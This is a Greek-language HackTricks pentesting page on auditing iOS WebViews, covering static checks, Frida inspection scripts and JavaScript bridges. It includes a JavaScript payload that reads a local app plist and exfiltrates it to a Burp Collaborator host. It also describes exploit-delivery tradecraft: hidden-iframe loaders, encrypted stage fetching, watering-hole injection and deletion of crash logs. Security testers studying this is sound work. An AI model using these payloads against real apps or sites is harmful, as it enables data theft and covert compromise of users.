WebViews σε iOS

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ο κώδικας αυτής της σελίδας εξήχθη από here. Ελέγξτε τη σελίδα για περισσότερες λεπτομέρειες.

Τύποι WebViews

Τα WebViews χρησιμοποιούνται εντός εφαρμογών για την παρουσίαση web περιεχομένου με διαδραστικό τρόπο. Διάφοροι τύποι WebViews προσφέρουν διαφορετικές λειτουργίες και χαρακτηριστικά ασφαλείας για εφαρμογές iOS. Ακολουθεί μια σύντομη επισκόπηση:

  • UIWebView, το οποίο δεν συνιστάται πλέον από το iOS 12 και μετά λόγω της έλλειψης υποστήριξης για απενεργοποίηση του JavaScript, καθιστώντας το ευάλωτο σε script injection και επιθέσεις Cross-Site Scripting (XSS).

  • WKWebView είναι η προτιμώμενη επιλογή για ενσωμάτωση web περιεχομένου σε εφαρμογές, προσφέροντας βελτιωμένο έλεγχο του περιεχομένου και λειτουργίες ασφαλείας. Το JavaScript είναι ενεργοποιημένο από προεπιλογή, αλλά μπορεί να απενεργοποιηθεί αν χρειαστεί. Υποστηρίζει επίσης δυνατότητες για να αποτρέπεται το JavaScript από το αυτόματο άνοιγμα παραθύρων και εξασφαλίζει ότι όλο το περιεχόμενο φορτώνεται με ασφάλεια. Επιπλέον, η αρχιτεκτονική του WKWebView ελαχιστοποιεί τον κίνδυνο η διαφθορά μνήμης να επηρεάσει τη διαδικασία της κύριας εφαρμογής.

  • SFSafariViewController προσφέρει μια τυποποιημένη εμπειρία περιήγησης εντός εφαρμογών, αναγνωρίσιμη από τη συγκεκριμένη διάταξή του που περιλαμβάνει πεδίο διεύθυνσης μόνο για ανάγνωση, κουμπιά κοινής χρήσης και πλοήγησης, και άμεσο σύνδεσμο για άνοιγμα του περιεχομένου στο Safari. Σε αντίθεση με το WKWebView, το JavaScript δεν μπορεί να απενεργοποιηθεί στο SFSafariViewController, το οποίο επίσης μοιράζεται cookies και δεδομένα με το Safari, διατηρώντας την ιδιωτικότητα του χρήστη σε σχέση με την εφαρμογή. Πρέπει να εμφανίζεται εμφανώς σύμφωνα με τις οδηγίες του App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Περίληψη Εξερεύνησης Διαμόρφωσης WebViews

Επισκόπηση Στατικής Ανάλυσης

Κατά τη διαδικασία εξέτασης των WebViews ρυθμίσεων, εστιάζονται κυρίως δύο τύποι: UIWebView και WKWebView. Για τον εντοπισμό αυτών των WebViews μέσα σε ένα binary, χρησιμοποιούνται εντολές που αναζητούν συγκεκριμένες αναφορές κλάσεων και μεθόδους αρχικοποίησης.

  • UIWebView Αναγνώριση
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Αυτή η εντολή βοηθά στον εντοπισμό εμφανίσεων του UIWebView αναζητώντας συμβολοσειρές κειμένου που σχετίζονται με αυτό στο binary.

  • WKWebView Αναγνώριση
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Ομοίως, για WKWebView, αυτή η εντολή αναζητά στο binary συμβολοσειρές κειμένου που υποδηλώνουν τη χρήση του.

Επιπλέον, για να βρεθεί πώς αρχικοποιείται ένα WKWebView, εκτελείται η ακόλουθη εντολή, στοχεύοντας την υπογραφή της μεθόδου που σχετίζεται με την αρχικοποίησή του:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Έλεγχος Διαμόρφωσης JavaScript

Για WKWebView, επισημαίνεται ότι η απενεργοποίηση της JavaScript είναι βέλτιστη πρακτική εκτός αν απαιτείται. Το compiled binary ελέγχεται για να επιβεβαιωθεί ότι η ιδιότητα javaScriptEnabled έχει οριστεί σε false, διασφαλίζοντας ότι η JavaScript είναι απενεργοποιημένη:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Έλεγχος μόνο ασφαλούς περιεχομένου

WKWebView προσφέρει τη δυνατότητα να εντοπίζει προβλήματα μικτού περιεχομένου, σε αντίθεση με UIWebView. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα hasOnlySecureContent για να διασφαλιστεί ότι όλοι οι πόροι της σελίδας φορτώνονται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Συμπεράσματα Δυναμικής Ανάλυσης

Η δυναμική ανάλυση περιλαμβάνει την επιθεώρηση του heap για περιστατικά WebView και τις ιδιότητές τους. Για αυτό το σκοπό χρησιμοποιείται ένα script με όνομα webviews_inspector.js, στοχεύοντας περιστατικά UIWebView, WKWebView και SFSafariViewController. Καταγράφει πληροφορίες για τα εντοπισμένα περιστατικά, συμπεριλαμβανομένων των URLs και των ρυθμίσεων που σχετίζονται με JavaScript και ασφαλές περιεχόμενο.

Η επιθεώρηση του heap μπορεί να γίνει χρησιμοποιώντας ObjC.choose() για να εντοπιστούν περιστατικά του WebView και να ελεγχθούν οι ιδιότητες javaScriptEnabled και hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Το script εκτελείται με:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Key Outcomes:

  • Εντοπίζονται και ελέγχονται επιτυχώς περιπτώσεις WebViews.
  • Επιβεβαιώνεται η ενεργοποίηση της JavaScript και οι ρυθμίσεις ασφαλούς περιεχομένου.

Αυτή η σύνοψη συνοψίζει τα κρίσιμα βήματα και τις εντολές για την ανάλυση των ρυθμίσεων των WebView με στατικές και δυναμικές προσεγγίσεις, εστιάζοντας σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση της JavaScript και η ανίχνευση μεικτού περιεχομένου.

WebView Protocol Handling

Η διαχείριση περιεχομένου σε WebViews είναι κρίσιμο ζήτημα, ειδικά όταν χειριζόμαστε πρωτόκολλα όπως http(s)://, file://, και tel://. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου μέσα στις εφαρμογές. Τονίζεται ότι κατά τη φόρτωση τοπικού περιεχομένου πρέπει να λαμβάνονται προφυλάξεις ώστε οι χρήστες να μην μπορούν να επηρεάσουν το όνομα ή τη διαδρομή του αρχείου ούτε να επεξεργαστούν το ίδιο το περιεχόμενο.

WebViews προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για UIWebView, που πλέον είναι deprecated, χρησιμοποιούνται μέθοδοι όπως loadHTMLString:baseURL: και loadData:MIMEType:textEncodingName:baseURL:. Η WKWebView, από την άλλη, χρησιμοποιεί loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, και loadRequest: για web περιεχόμενο. Μέθοδοι όπως pathForResource:ofType:, URLForResource:withExtension:, και init(contentsOf:encoding:) χρησιμοποιούνται συνήθως για τη φόρτωση τοπικών αρχείων. Η μέθοδος loadFileURL:allowingReadAccessToURL: είναι ιδιαίτερα σημαντική καθώς μπορεί να φορτώσει μια συγκεκριμένη URL ή έναν κατάλογο στο WebView, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα εάν δηλωθεί κατάλογος.

Για να βρεθούν αυτές οι μέθοδοι στον πηγαίο κώδικα ή στο compiled binary, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Όσον αφορά την πρόσβαση σε αρχεία, το UIWebView την επιτρέπει καθολικά, ενώ το WKWebView εισάγει τις ρυθμίσεις allowFileAccessFromFileURLs και allowUniversalAccessFromFileURLs για τη διαχείριση πρόσβασης από διευθύνσεις URL αρχείων, με αμφότερες να είναι false από προεπιλογή.

Παρέχεται ένα παράδειγμα script του Frida για να ελέγξετε τις ρυθμίσεις ασφαλείας των WKWebView:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Τέλος, ένα παράδειγμα JavaScript payload που στοχεύει στο exfiltrating local files δείχνει τον πιθανό κίνδυνο ασφαλείας που συνδέεται με εσφαλμένα διαμορφωμένα WebViews. Αυτό το payload κωδικοποιεί τα περιεχόμενα των αρχείων σε hex format πριν τα μεταδώσει σε server, υπογραμμίζοντας τη σημασία αυστηρών μέτρων ασφαλείας στις υλοποιήσεις WebView.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Εγγενείς Μέθοδοι που Εκτίθενται μέσω WebViews

Κατανόηση των εγγενών διεπαφών WebView στο iOS

Από το iOS 7 και μετά, η Apple παρείχε APIs για επικοινωνία μεταξύ JavaScript σε ένα WebView και εγγενών αντικειμένων Swift ή Objective-C. Αυτή η ενσωμάτωση επιτυγχάνεται κυρίως μέσω δύο μεθόδων:

  • JSContext: Μία JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα μπλοκ Swift ή Objective-C συνδέεται με ένα αναγνωριστικό μέσα σε ένα JSContext. Αυτό επιτρέπει αδιάλειπτη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και του εγγενούς κώδικα.
  • JSExport Protocol: Κληρονομώντας το πρωτόκολλο JSExport, εγγενείς ιδιότητες, instance methods, και class methods μπορούν να εκτεθούν σε JavaScript. Αυτό σημαίνει ότι τυχόν αλλαγές που γίνονται στο περιβάλλον JavaScript αντικατοπτρίζονται στο εγγενές περιβάλλον, και το αντίστροφο. Ωστόσο, είναι ουσιώδες να διασφαλιστεί ότι ευαίσθητα δεδομένα δεν εκτίθενται κατά λάθος μέσω αυτής της μεθόδου.

Πρόσβαση στο JSContext σε Objective-C

Στην Objective-C, το JSContext για ένα UIWebView μπορεί να ανακτηθεί με την ακόλουθη γραμμή κώδικα:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Επικοινωνία με WKWebView

Για το WKWebView, η άμεση πρόσβαση στο JSContext δεν είναι διαθέσιμη. Αντίθετα, χρησιμοποιείται μεταβίβαση μηνυμάτων μέσω της συνάρτησης postMessage, επιτρέποντας την επικοινωνία από JavaScript προς το native. Οι χειριστές για αυτά τα μηνύματα ρυθμίζονται ως εξής, επιτρέποντας στο JavaScript να αλληλεπιδράσει με την εγγενή εφαρμογή με ασφάλεια:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Αλληλεπίδραση και Δοκιμές

Η JavaScript μπορεί να αλληλεπιδράσει με το εγγενές επίπεδο ορίζοντας έναν χειριστή μηνυμάτων script. Αυτό επιτρέπει ενέργειες όπως η κλήση εγγενών συναρτήσεων από μια ιστοσελίδα:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Για να καταγράψετε και να χειριστείτε το αποτέλεσμα μιας native function call, μπορείτε να override τη callback function μέσα στο HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Η native πλευρά χειρίζεται την κλήση JavaScript όπως φαίνεται στην κλάση JavaScriptBridgeMessageHandler, όπου το αποτέλεσμα των λειτουργιών, όπως ο πολλαπλασιασμός αριθμών, επεξεργάζεται και αποστέλλεται πίσω στο JavaScript για εμφάνιση ή περαιτέρω επεξεργασία:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Τα ακόλουθα πρότυπα έχουν παρατηρηθεί σε πραγματικές iOS Safari/WebKit exploit delivery chains και είναι χρήσιμα για ανάλυση, ανίχνευση και ελεγχόμενη εξομοίωση.

Φορτωτής πολλαπλών σταδίων μέσω κρυφών iframes

Ένα κοινό μοτίβο σταδιοποίησης είναι να ελέγχεται η εκτέλεση ώστε να αποφεύγεται η επαναμόλυνση ή η ανάλυση και στη συνέχεια να εισάγεται ένα κρυφό/εκτός οθόνης iframe για το επόμενο στάδιο:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Μια ελάχιστη σελίδα staging μπορεί να εισάγει τον main loader μέσω document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Τα στάδια του Loader συχνά ανακτούν το επόμενο JavaScript συγχρονισμένα:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Οι επόμενες φάσεις μπορούν να εκτελεστούν σε περιβάλλον τύπου worker δημιουργώντας ένα Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Αναγκάζοντας το Safari να φτάσει στην επιφάνεια του WebKit/JSC

Αν ένα θύμα ανοίξει ένα lure σε άλλο browser, ένας protocol handler μπορεί να αναγκάσει το Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Κρυπτογραφική ανάκτηση σταδίου (ECDH + AES)

Κάποιοι loaders κρυπτογραφούν τα exploit stages κατά τη μεταφορά. Μια ελάχιστη ροή client είναι: δημιουργία ενός εφήμερου ζεύγους κλειδιών ECDH, POST του base64 public key, λήψη κρυπτογραφημένων blobs, παραγωγή ενός AES key, αποκρυπτογράφηση, και στη συνέχεια decode σε JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Οι παραβιασμένες ιστοσελίδες μπορούν να φορτώσουν ένα remote script που δημιουργεί ένα off-screen iframe και το περιορίζει με sandbox ενώ εξακολουθεί να επιτρέπει script execution:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Δείκτες anti-forensics μετά την εκμετάλλευση (JS implants)

  • Προσωρινή σκηνή κάτω από /tmp/<uuid>.<digits>/ με υποφακέλους όπως STORAGE, DATA, και TMP.
  • Διαγραφή crash logs στο /var/mobile/Library/Logs/CrashReporter/ (συχνά φιλτραρισμένα με βάση substrings WebKit/SpringBoard).
  • Αναδρομική διαγραφή του /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Αποσφαλμάτωση iOS WebViews

(Οδηγός βασισμένος σε αυτόν από https://blog.vuplex.com/debugging-webviews)

Για να αποσφαλματώσετε αποτελεσματικά περιεχόμενο web εντός iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα developer tools του Safari, επειδή τα μηνύματα που αποστέλλονται στο console.log() δεν εμφανίζονται στα Xcode logs. Ακολουθεί ένας απλοποιημένος οδηγός με έμφαση στα βασικά βήματα και τις απαιτήσεις:

  • Προετοιμασία στη συσκευή iOS: Το Safari Web Inspector πρέπει να ενεργοποιηθεί στη συσκευή iOS. Αυτό γίνεται πηγαίνοντας σε Settings > Safari > Advanced, και ενεργοποιώντας το Web Inspector.

  • Προετοιμασία στον υπολογιστή macOS: Στον macOS ανάπτυξης πρέπει να ενεργοποιήσετε τα developer tools μέσα στο Safari. Εκκινήστε το Safari, μεταβείτε σε Safari > Preferences > Advanced, και επιλέξτε την επιλογή Show Develop menu.

  • Σύνδεση και αποσφαλμάτωση: Αφού συνδέσετε τη συσκευή iOS στον macOS και εκκινήσετε την εφαρμογή, χρησιμοποιήστε το Safari στο macOS για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Πλοηγηθείτε στο Develop στη μπάρα μενού του Safari, τοποθετήστε τον δείκτη πάνω στο όνομα της iOS συσκευής για να δείτε τη λίστα των instances webview, και επιλέξτε το instance που θέλετε να επιθεωρήσετε. Ένα νέο παράθυρο Safari Web Inspector θα ανοίξει για αυτό το σκοπό.

Ωστόσο, προσέξτε τους περιορισμούς:

  • Η αποσφαλμάτωση με αυτή τη μέθοδο απαιτεί macOS συσκευή επειδή βασίζεται στο Safari.
  • Μόνο webviews σε εφαρμογές που έχουν φορτωθεί στη συσκευή μέσω Xcode είναι επιλέξιμες για αποσφαλμάτωση. Webviews σε apps εγκατεστημένα μέσω App Store ή Apple Configurator δεν μπορούν να αποσφαλματωθούν με αυτόν τον τρόπο.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks